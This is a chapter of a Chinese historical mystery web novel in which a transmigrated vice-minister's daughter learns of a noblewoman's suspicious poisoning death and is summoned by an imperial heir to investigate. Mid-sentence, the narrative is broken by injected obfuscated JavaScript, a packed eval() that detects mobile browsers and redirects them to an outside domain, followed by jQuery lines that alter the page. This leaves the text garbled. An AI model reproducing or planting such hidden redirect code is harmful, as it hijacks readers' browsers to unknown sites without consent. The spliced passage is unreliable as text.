“慕兰,”赵氏放柔了声音,“今日你也瞧见了,平安伯对这门亲事很是看重。陆三公子虽然性子冷了些,但才学人品都是上乘。”
安慕青余光瞥见安慕兰绞紧了手中的绣帕,上好的杭绸都被她揉出了褶皱。
安慕兰此刻必定在回想陆明修那疏离的态度,以及柳如烟看向陆三公子时那毫不掩饰的炽热目光。
“母亲,”安慕兰突然开口,声音里带着几分委屈,“我觉得柳表妹对三公子……”
“住口!”赵氏厉声打断,保养得宜的面容瞬间沉了下来,“柳小姐是伯府表亲,知书达理的大家闺秀,怎会做出有失体统的事?”她深吸一口气,压低声音道,“你且安心备嫁,其他的不必多想。”
安慕兰委屈地闭上嘴,但眼中的疑虑并未消散。
安慕青将这一切尽收眼底,心中暗自摇头。她这个嫡姐虽然骄纵,却也不是傻子。宴席上柳如烟对陆明修那热切的眼神,任谁都看得出其中深意。
更何况……
安慕青想起那个被推入池塘的苏婉。那样一个弱质纤纤的女子,为何会引得柳如烟如此嫉恨?仅仅因为她是西席先生的女儿?还是说她与陆明修之间,真如赵玉娆所说,有着不为人知的情愫?
还有那位始终未曾露面的嫡女陆锦绣。柳如烟说她“一年来总是生病”,语气中却带着几分不耐烦,而非关切。
这又是为何?一个嫡女久病在床,府上却大摆宴席,伯夫人中途离席后再未现身……这些异常,都让安慕青觉得这平安伯府的水,比表面看起来要深得多。
马车微微颠簸了一下,打断了她的思绪。窗外,暮色已深,街边的灯笼次第亮起,在安慕青的脸上投下忽明忽暗的光影。
“慕青。”赵氏突然唤她,“今日你与姜世子相谈甚欢,他可有提起……”
“母亲,”安慕青不卑不亢地打断,“姜世子不过是因案子的事与我寒暄几句,并无他意。”
赵氏意味深长地看了她一眼,没再追问。马车内陷入沉默,只有车轮碾过青石板的声响。
马车转过最后一个街角,侍郎府的灯笼已经遥遥在望。
“到了。”赵氏整了整衣襟,又恢复了往日威严的模样,“回去都早些歇息吧。”
安慕青恭敬应是。
次日清晨,安慕青踏着晨露来到正院给赵氏请安。刚走到廊下,就听见里面传来安慕兰娇嗔的声音:“母亲何必让那丫头同去?祖母最不待见她了。”
安慕青脚步微顿,唇角勾起一抹冷笑,随即恢复平静,迈步入内。
“母亲。”她规规矩矩地福身行礼。
赵氏正坐在主位上清点礼单,闻言抬眼:“来得正好。”她放下手中的单子,“老太太过几日要从静安寺回来了,你们姐妹俩到时候随我一同去城外接人。”
安慕青眸光微闪。
安老夫人?她仔细搜寻着原主的记忆,却只拼凑出零碎片段——一位面容刻板的老妇人,常年捻着佛珠。
三年前她刚穿越来不久,便被送到乡下了,几乎没见过这位原主的祖母。
“女儿遵命。”她低头应下,声音平稳得没有一丝波澜。
站在赵氏身侧的安慕兰顿时变了脸色。她今日穿着一身簇新的藕荷色罗裙,发间金钗晃动,衬得一张俏脸愈发娇艳。
此刻这张脸上却满是嫌恶:“母亲!”她扯着赵氏的袖子,“祖母最不喜见她了,带她去岂不是给祖母添堵?上回祖母还说,这丫头不过是个庶出,而且她娘亲……”
“兰儿!”赵氏厉声喝止,余光瞥向安慕青,见她神色如常,这才稍稍放心,“越说越不像话了。”
“母亲,”安慕兰不依不饶,“您想想,祖母年事已高,若是……”
“住口!”赵氏拍案而起,脸色铁青,“再怎么说她也是你妹妹,是安家的血脉。老太太回府这等大事,全府上下都该去迎,这是规矩!”
安慕青将这对母女的反应尽收眼底。赵氏嘴上说得冠冕堂皇,眼神却闪烁不定,显然另有盘算。
而安慕兰被当众训斥,一张俏脸涨得通红,看向安慕青的眼神更加怨毒。
“女儿知道了。”安慕兰不情不愿地应了声,转身时却故意撞了下安慕青的肩膀,压低声音道:“别以为攀上长公主府就了不起了,哼。”
安慕青纹丝不动,连衣角都没晃一下。她唇角微扬,用只有两人能听见的声音道:“大姐还是多操心自己的婚事吧。我瞧那柳家表妹,对陆三公子可是殷勤得很!对了,还有那位苏姑娘……”
安慕兰瞳孔骤缩,正要发作,外间突然传来一阵急促的脚步声。管家慌慌张张地跑进来:“夫人!平安伯府……平安伯府出大事了!”
这一打岔,安慕兰只得暂时压下怒火,但看向安慕青的眼神,已然淬了毒。
赵氏手中的茶盏“啪”地掉在地上:“怎么回事?”
“刚传来的消息,”管家擦了擦额头的汗,“平安伯府嫡女陆锦绣昨夜暴病身亡!伯府今早已经挂起白幡了!”
安慕兰手中的绣帕无声飘落,她睁大眼睛,嘴唇微微颤抖:“这……这怎么可能?昨日柳妹妹还说只是寻常不适!”
安慕青眸光微动。
她清晰记得昨日宴席中途,伯夫人接到丫鬟禀报后那骤变的脸色,以及匆匆离席后再未露面的异常。
当时她就觉得蹊跷,如今看来……
“老奴听伯府下人说,”管家压低嗓音,额角渗出细汗,“大小姐是半夜突然发病,七窍流血,浑身发黑。太医院的张院判亲自去看了,说是……急症暴毙。”
赵氏倒吸一口凉气,保养得宜的手指紧紧攥住桌沿。
她下意识看向安慕兰——这门亲事若是因此生变……
安慕青将二人的反应尽收眼底。
安慕兰从最初的震惊,很快转为对自己婚事的忧虑;而赵氏虽然表面慌乱,眼中却已开始闪烁算计的光芒。
“备轿!”赵氏突然厉声道,“我要立刻去伯府吊唁。”
“母亲!”安慕兰急得眼眶发红,“女儿也……”
“住口!”赵氏厉声打断,“未出阁的姑娘去什么丧事?在家好好待着!”她转向安慕青,犹豫片刻,“你也留下,看着你姐姐。”
安慕青垂首应是,心中却已思绪翻涌。
陆锦绣的“暴毙”实在蹊跷——昨日宴席上柳如烟还轻描淡写地说她“常年生病”,今日就突然“急症而亡”,这时间未
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269316|182233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
免太过巧合。
更何况七窍流血、浑身发黑的症状,怎么看都不像是寻常病症。
待赵氏匆匆离去,安慕兰终于绷不住,跌坐在绣墩上:“完了!伯府出了这样的事,我的婚事……”
“大姐不必过虑,”安慕青平静道,“伯爷既看重三公子,想必不会因此取消婚约。至多……推迟些时日。”
“你懂什么!”安慕兰猛地抬头,眼中满是怨毒,“嫡女暴毙,伯府至少要守孝一年!我都十八了,再等一年……”她突然噤声,死死咬住下唇。
看着安慕兰这副模样,安慕青不再多言,转身退出正院。
回到听雨轩,她立即唤来青樱:“去打听打听,平安伯府嫡女这一年来的病情。特别注意……都请过哪些大夫。”
青樱领命而去。
安慕青站在窗前,望着院中那株半枯的梅树。
陆锦绣的“暴毙”,与马慧蓉的案子会不会有关联?
那个手腕上有“king”字胎记的神秘人,又是否牵涉其中?
她轻轻摩挲着腰间的短剑。这京城看似平静的水面下,暗流比她想象的更为汹涌。
一个时辰后,安慕青正坐在听雨轩内沉思,忽然听见外院传来一阵骚动。紧接着,流萤慌慌张张跑进来:“小姐!姜世子来了!”
安慕青眉头一皱:“他来做什么?”
流萤喘着气道:“世子爷拿着陛下的手谕,说是要请小姐一同查案!夫人已经让人引他去正厅了,叫小姐赶紧过去。”
“母亲已经回来了?”
“半个时辰前回来的!”
安慕青眸光微闪,起身理了理衣裙,径直往正厅走去。
正厅内,姜培之一袭月白色锦袍,腰间玉带轻晃,正漫不经心地摇着折扇,见安慕青进来,桃花眼一弯:“安小姐,别来无恙啊。”
安慕青冷淡地行了一礼:“世子突然登门,不知有何贵干?”
姜培之“唰”地合上扇子,从袖中取出一道明黄绢帛:“奉陛下口谕,请安二小姐协助本世子查案。”
赵氏坐在主位,脸色有些难看:“世子,小女不过是个闺阁女子,如何能协助查案?”
姜培之笑道:“夫人有所不知,安小姐心思缜密,短短三日破了礼部尚书府和永昌伯府的案子,陛下都赞不绝口。这次平安伯府嫡女暴毙,死因蹊跷,陛下特意点名要安小姐协助。”
安慕青抬眸:“陆小姐不是病逝?”
姜培之唇角微勾,压低声音道:“对外说是病逝,实则七窍流血,浑身发黑,太医验过,是剧毒所致。”
安慕青眸光一沉,心想果然如此。
赵氏还想阻拦:“这……小女毕竟未出阁,频繁出入衙门,恐怕有损名声……”
姜培之摇了摇扇子,笑得风流倜傥:“夫人放心,本世子会亲自护送安小姐,保证她安然无恙。”说着,还冲安慕青眨了眨眼。
安慕青懒得理他,只淡淡道:“既然是陛下旨意,女儿自当遵从。”
赵氏见推脱不得,只得勉强应下。
出了正厅,姜培之凑近安慕青,压低声音道:“安小姐,这案子可不简单。”
安慕青侧眸:“怎么说?”